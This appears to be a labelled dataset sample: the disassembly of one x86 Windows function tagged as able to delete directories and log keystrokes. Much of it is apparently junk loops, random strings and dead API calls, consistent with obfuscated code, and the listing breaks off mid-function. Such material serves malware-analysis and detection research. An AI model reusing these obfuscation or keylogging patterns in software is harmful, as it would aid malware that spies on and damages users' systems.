Function at 0x10009b6f
Capabilities:
Delete directory
Log keystrokes

Disassembly:
mov eax, 0x10063cc4
call fcn.10063318
sub esp, 0x298
push ebx
mov dword [ebp - 0x24], 1
xor ebx, ebx
push esi
mov dword [ebp - 0x20], 0x5560
cmp dword [ebp - 0x20], 0x5663
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x14c], ebx
jle 0x10009c43
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov eax, esi
mov ecx, ebx
cdq
idiv edi
mov dword [ebp - 0x28], ecx
mov edi, edx
mov dword [ebp - 0x30], edi
mov eax, edi
mov esi, ebx
cdq
idiv ecx
mov edi, edx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x22c]
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009bf1
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x22c]
call fcn.100022d2
inc esi
cmp esi, 0x3689
jl 0x10009bd3
mov ecx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x30]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x664a
jl 0x10009bca
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x4be4
jl 0x10009bbb
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x4ff8
jl 0x10009bb6
mov dword [ebp - 0x30], 1
cmp dword [ebp - 0x20], 0x5190
jge 0x10009c5e
push str.mkenwz_wmgkfhg_bka_hbwouqkt_dgkgzhkyf_wdnpog
call fcn.1004b116
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x10009c78
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1bc], 0x64a6847d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10009c67
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], ebx
jl 0x10009ce8
mov dword [ebp - 0x30], 0x9e22401d
mov dword [ebp - 0x20], ebx
jmp 0x10009ca7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1e4], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10009c96
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1bc]
cmp eax, 1
setl cl
cmp ecx, dword [ebp - 0x1e4]
jle 0x10009cca
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xffff
dec dword [ebp - 0x28]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10009ce3
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
dec dword [ebp - 0x24]
jns 0x10009c8a
mov dword [ebp - 0x24], 0xfffffff2
cmp dword [ebp - 0x24], 0xffffffea
jge 0x10009da0
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x28], 0x389
cmp dword [ebp - 0x28], 0x473
jle 0x10009d36
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10081838
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001e6d
inc edi
cmp edi, 0x6e7b
jl 0x10009d10
inc esi
cmp esi, 0x258a
jl 0x10009d0e
cmp byte [ebp - 0x15], 0
je 0x10009d43
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x28], 0x116
jge 0x10009d62
mov edx, str.hlg_krtxnwm_rggfhrwn_bcpeug_jlfd_gqhwbpzze_avpszb_plwlbse_fkm_wlyjv_jzbbd_cfkega_vyzpfu_duutkcuwz
mov ecx, 0x10081838
call fcn.100038af
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10009d76
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
dec dword [ebp - 0x24]
jmp 0x10009cef
mov dword [ebp - 0x28], 0x4c9d
cmp dword [ebp - 0x28], 0x4fa3
jle 0x10009e0a
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov edi, ebx
add eax, esi
lea ecx, [ebp - 0x1fc]
or eax, edi
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009dd5
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1fc]
call fcn.100022d2
mov eax, dword [ebp - 0x2c]
inc edi
cmp edi, 0x2f12
jl 0x10009db9
inc esi
cmp esi, 0x37c0
jl 0x10009db7
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x470d
jl 0x10009db5
cmp dword [ebp - 0x28], 0x4c5a
jge 0x10009e1e
push str.ozpx_jhmjxbqnm_ifmrdjhyj_adgpd_xjvej_wdarb_okslvgzmm_bxalyt_hjzbtxu_nfphkw_nbh
call fcn.1004b116
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x158]
push 2
call fcn.10001f82
mov dword [ebp - 4], 6
mov dword [ebp - 0x20], 0x57976326
mov dword [ebp - 0x20], ebx
jmp 0x10009e55
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x158]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10009e42
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], ebx
jl 0x10009f39
mov dword [ebp - 0x2c], 0x4696a485
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], ebx
jl 0x10009f31
mov dword [ebp - 0x38], 0x184f
cmp dword [ebp - 0x38], 0x18ab
jle 0x10009efd
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x34b9
mov eax, esi
lea ecx, [ebp - 0x28c]
and eax, edi
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009ebf
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x28c]
call fcn.100022d2
dec esi
dec dword [ebp - 0x28]
jne 0x10009ea3
mov esi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x46c8
jl 0x10009e99
inc edi
cmp edi, 0x1f6c
jl 0x10009e94
push 0xad2
call dword [sym.imp.GDI32.dll_EndPage]
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x38], 0x14bc
jge 0x10009f14
push str.oil_rpnsv_grnqmu_iuzzlq_tqd_qdetz
call fcn.1004b116
pop ecx
mov dword [ebp - 4], 6
cmp byte [ebp - 0x15], 0
je 0x10009f29
push ebx
push ebx
call dword [sym.imp.USER32.dll_CopyRect]
dec dword [ebp - 0x2c]
jmp 0x10009e79
dec dword [ebp - 0x20]
jmp 0x10009e62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x158]
call fcn.10001fdf
mov dword [ebp - 0x58], 0x30017506
mov dword [ebp - 0x54], 0xe050e03
mov dword [ebp - 0x50], 0x28022b00
mov word [ebp - 0x4c], 0xe04
mov dword [ebp - 0x20], 0xfffffffe
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10009f86
push ebx
push ebx
push 0x4dd
push 0x1ac9
push ebx
call dword [sym.imp.USER32.dll_InsertMenuW]
mov dword [ebp - 0x20], ebx
jmp 0x10009f9e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10009f9b
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
je 0x10009f8b
push 0x5c
pop eax
push 2
mov word [ebp - 0xd4], ax
pop esi
xor edx, edx
push 3
inc edx
mov dword [ebp - 0x24], edx
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x20], ebx
jmp 0x10009fd0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x70], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10009fc2
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], ebx
jl 0x1000a037
mov dword [ebp - 0x28], 0x34859bb
xor ecx, ecx
mov dword [ebp - 0x2c], 0x53526c71
mov dword [ebp - 0x34], 0xb3a0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
cmp eax, edx
setge cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x70], ecx
dec dword [ebp - 0x24]
jns 0x10009fe1
mov eax, dword [ebp - 0x34]
movzx ecx, byte [ebp + esi - 0x57]
mov dword [ebp - 0x24], eax
movzx eax, byte [ebp + esi - 0x5a]
movzx edx, word [ebp + eax*2 - 0xe0]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x58]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0xe0], dx
cmp esi, 0xe
jb 0x10009fb1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x20], 0xfffffffb
jmp 0x1000a0a5
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a092
push ebx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a0a2
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xd
jne 0x1000a082
push 9
xor eax, eax
lea ecx, [ebp - 0x130]
mov word [ebp - 0xd2], ax
pop esi
mov dword [ebp - 0x1c], 0x3ae35568
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], esi
push 1
call fcn.10001f82
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], 0x6f80
cmp dword [ebp - 0x20], 0x7175
jle 0x1000a161
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
add eax, edi
mov dword [ebp - 0x28], 0x6e24
mov dword [ebp - 0x30], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x25c]
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000a11c
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x25c]
call fcn.100022d2
add edi, esi
dec dword [ebp - 0x28]
jne 0x1000a102
mov edi, dword [ebp - 0x34]
dec esi
mov eax, dword [ebp - 0x2c]
cmp esi, 0xfffff442
jg 0x1000a0f4
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x6f70
jl 0x1000a0f2
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x3595
jl 0x1000a0ed
push 9
pop esi
cmp dword [ebp - 0x20], 0x6c2f
jge 0x1000a175
push str.nyeaxfhu_xbgoxvs_mlh_huc_ljj_sss_shafcywi_pachisf_bctxr_pihebqn_xhpgp_ckunjvsdn_lbx_geio
call fcn.1004b116
pop ecx
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], ebx
jmp 0x1000a190
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx*4], 0x9ffbdd2a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1000a17d
mov dword [ebp - 0x1c], ebx
jmp 0x1000a2e6
mov dword [ebp - 0x24], 0x473eb905
lea ecx, [ebp - 0xc4]
push 3
call fcn.10001f82
mov dword [ebp - 0x2c], 0xabac
mov dword [ebp - 0x20], ebx
jmp 0x1000a1d1
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1000a1be
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a1ec
push ebx
push 0x2408
call dword [sym.imp.USER32.dll_GetClientRect]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 6
je 0x1000a2d8
mov esi, dword [ebp - 0xc4]
mov dword [ebp - 0x38], 0x1c17c774
mov dword [ebp - 0x28], 8
cmp dword [ebp - 0x1c], ebx
je 0x1000a264
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
cmp eax, 1
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, 1
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
mov dword [ebp - 0x30], ecx
xor ecx, ecx
cmp dword [ebp - 0x30], eax
setg cl
cmp ecx, dword [ebp - 0x1c]
je 0x1000a264
xor eax, eax
inc eax
jmp 0x1000a266
mov eax, ebx
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], 0xdd5c0aec
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 6
jne 0x1000a1ff
lea ecx, [ebp - 0xc4]
call fcn.10001fdf
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
jge 0x1000a19e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.10001fdf
xor eax, eax
mov dword [ebp - 0x15c], 7
mov word [ebp - 0x170], ax
lea ecx, [ebp - 0x170]
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x160], ebx
push eax
call fcn.10008a0e
mov dword [ebp - 4], 0xc
lea edi, [ebp - 0xe0]
xor eax, eax
lea ecx, [ebp - 0x10c]
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10001f82
push 2
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], ebx
pop edx
jmp 0x1000a36c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10c]
mov dword [eax + ecx*4], 0xd5816210
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1000a359
push 3
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x1000a38a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd0], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1000a379
mov esi, dword [ebp - 0x10c]
mov eax, dword [esi + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0xbff5ecce
mov dword [ebp - 0x1c], ebx
jmp 0x1000a3b8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x78], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1000a3aa
mov dword [ebp - 0x1c], ebx
jmp 0x1000a3d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1c8], 0x2ef7e291
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1000a3c2
mov eax, dword [ebp - 0xcc]
xor edx, edx
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
xor ecx, ecx
mov dword [ebp - 0x1c0], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x74]
cmp eax, dword [esi + 4]
mov eax, dword [ebp - 0x74]
setge cl
mov dword [ebp - 0x30], ecx
xor ecx, ecx
test eax, eax
setle cl
xor eax, eax
cmp ecx, 2
setl al
xor ecx, ecx
cmp ecx, eax
mov eax, dword [ebp - 0x74]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0xcc]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
sete cl
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc8]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a45a
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a46d
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
lea ecx, [ebp - 0x10c]
call fcn.10001fdf
push dword [ebp - 0x94]
lea ecx, [ebp - 0x1a0]
call fcn.100081a7
push 1
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xd
call fcn.10001f82
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x28], 0xb7161ab6
mov dword [ebp - 0x28], 0x19c0
cmp dword [ebp - 0x28], 0x1c64
jle 0x1000a4fe
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x214]
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000a4d7
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x214]
call fcn.100022d2
inc esi
cmp esi, 0x7e9a
jl 0x1000a4b9
inc edi
cmp edi, 0x49e8
jl 0x1000a4b7
mov dword [ebp - 0x34], 0xce028f4e
cmp dword [ebp - 0x28], 0x1993
jge 0x1000a519
push str.xwyfwy_akp_aydw_mjtcm_aipbcm_ydvduxhc
call fcn.1004b116
pop ecx
push 3
lea ecx, [ebp - 0x148]
mov dword [ebp - 4], 0xe
call fcn.10001f82
xor edx, edx
mov dword [ebp - 0x30], 0xf215a609
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x1000a54f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb8]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1000a53c
mov dword [ebp - 0x1c], ebx
jmp 0x1000a56c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x148]
mov dword [eax + ecx*4], 0x43af7806
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000a559
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
cmp dword [eax], edx
setle cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0x148]
setle al
add eax, 0x5de1e27e
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x148]
mov dword [eax], ebx
call fcn.10001fdf
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xd
call fcn.10001fdf
push 0x5c
pop eax
push 2
mov dword [ebp - 0x48], 0x96046a00
mov ecx, ebx
mov word [ebp - 0x44], 0x584
mov byte [ebp - 0x42], 0x6f
mov word [ebp - 0x40], ax
pop esi
cmp esi, 2
jne 0x1000a5ed
push 5
pop ecx
push ecx
pop esi
jmp 0x1000a614
movzx edx, byte [ebp + esi - 0x47]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x4a]
movzx eax, word [ebp + eax*2 - 0x40]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x48]
mov word [ebp + eax*2 - 0x40], cx
mov ecx, ebx
add esi, 2
cmp esi, 7
jb 0x1000a5e1
xor eax, eax
lea ecx, [ebp - 0x84]
mov word [ebp - 0x3e], ax
mov dword [ebp - 0x1c], 0xb1658084
mov dword [ebp - 0x28], 0x5d76270e
mov dword [ebp - 0x34], 0xc0223dec
mov dword [ebp - 0x30], 0xffffffff
push 4
call fcn.10001f82
mov dword [ebp - 0x38], 0x81c1
xor edx, edx
mov dword [ebp - 0x2c], 0x54668dac
inc edx
mov dword [ebp - 0x24], 0x63e91cb6
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x20], ebx
jmp 0x1000a67e
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x84]
mov dword [eax + ecx*4], 0x177c422d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000a66b
cmp dword [ebp - 0x1c], ebx
je 0x1000a719
inc dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x84]
cmp dword [eax + 8], 0x31de
setge cl
imul ecx, dword [eax + 8]
test ecx, ecx
je 0x1000a6b2
cmp dword [ebp - 0x24], ebx
jne 0x1000a6b4
mov edx, ebx
cmp edx, dword [ebp - 0x2c]
jne 0x1000a6c1
cmp dword [ebp - 0x34], ebx
je 0x1000a6c1
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x84]
cmp dword [eax + 4], 0xffffffff
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
add ecx, 0x1e67b444
cmp ecx, 0x33bc6c2d
jle 0x1000a719
xor edx, edx
inc edx
jmp 0x1000a71b
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, 1
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x84]
setge cl
xor edx, edx
cmp ecx, 0x169b2b29
setle dl
mov dword [eax + 8], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x24], ebx
jmp 0x1000a77b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
cmp dword [eax + ecx*4], ebx
jne 0x1000a781
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1000a76a
lea ecx, [ebp - 0x84]
call fcn.10001fdf
xor eax, eax
mov dword [ebp - 0xe4], 7
mov word [ebp - 0xf8], ax
lea ecx, [ebp - 0xf8]
lea eax, [ebp - 0x40]
mov dword [ebp - 0xe8], ebx
push eax
call fcn.10008a0e
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x1c], 0x213532fe
mov dword [ebp - 0x30], 0xfff7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1000a7df
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1d4], 0xd94e8fe7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1000a7ce
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
test eax, eax
setle cl
xor eax, eax
cmp ecx, 0x2000
setge al
cmp eax, dword [ebp - 0x1c]
je 0x1000a987
mov dword [ebp - 0x38], 0xa5a1
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x1c], ebx
jmp 0x1000a846
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a843
push 0x24a3
call dword [sym.imp.KERNEL32.dll_SetLastError]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1000a82f
mov dword [ebp - 0x1c], 0xf
cmp dword [ebp - 0x1c], 0xf
jl 0x1000a9a2
mov dword [ebp - 0x34], 0x2c5d
xor ecx, ecx
mov eax, dword [ebp - 0x34]
inc eax
cmp eax, 0x34cc
setge cl
xor edx, edx
sub ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x38]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x1c]
cmp eax, ecx
setne dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x38], 7
cmp dword [ebp - 0x38], 0x17
je 0x1000a97f
mov dword [ebp - 0x28], 0x1374
cmp dword [ebp - 0x28], 0x15e2
jle 0x1000a92e
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esi
and esi, edi
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x244]
or eax, esi
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000a8f2
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x244]
call fcn.100022d2
inc edi
cmp edi, 0x41be
jl 0x1000a8d6
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x4784
jl 0x1000a8cc
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x2ce3
jl 0x1000a8c7
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x28], 0x1141
jge 0x1000a945
push str.rjorxt_vnhxfww_okxamivg_cospvrozm_kqccagp_zmerzh_ldn_kckdjib_bzgjme_vlapk_zokbwshjh_ohkajd_uvsd_lryxb
call fcn.1004b116
pop ecx
mov dword [ebp - 4], 0x11
cmp byte [ebp - 0x15], 0
je 0x1000a95d
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000a977
push ebx
push 0x25a1
push 0x26f
call dword [sym.imp.USER32.dll_AttachThreadInput]
inc dword [ebp - 0x38]
jmp 0x1000a8a8
dec dword [ebp - 0x1c]
jmp 0x1000a853
mov dword [ebp - 0x1c], ebx
jmp 0x1000a99c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1d4]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1000a98c
push 1
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x40], ebx
call fcn.10001f82
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x30], 0x51c3c39b
mov dword [ebp - 0x20], ebx
jmp 0x1000a9dc
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x124]
mov dword [eax + ecx*4], 0x862f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1000a9c9
mov eax, dword [ebp - 0x124]
inc dword [eax]
mov dword [ebp - 0x38], ebx
jmp 0x1000aa38
push 2
lea ecx, [ebp - 0xac]
call fcn.10001f82
mov dword [ebp - 0x20], ebx
jmp 0x1000aa14
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xac]
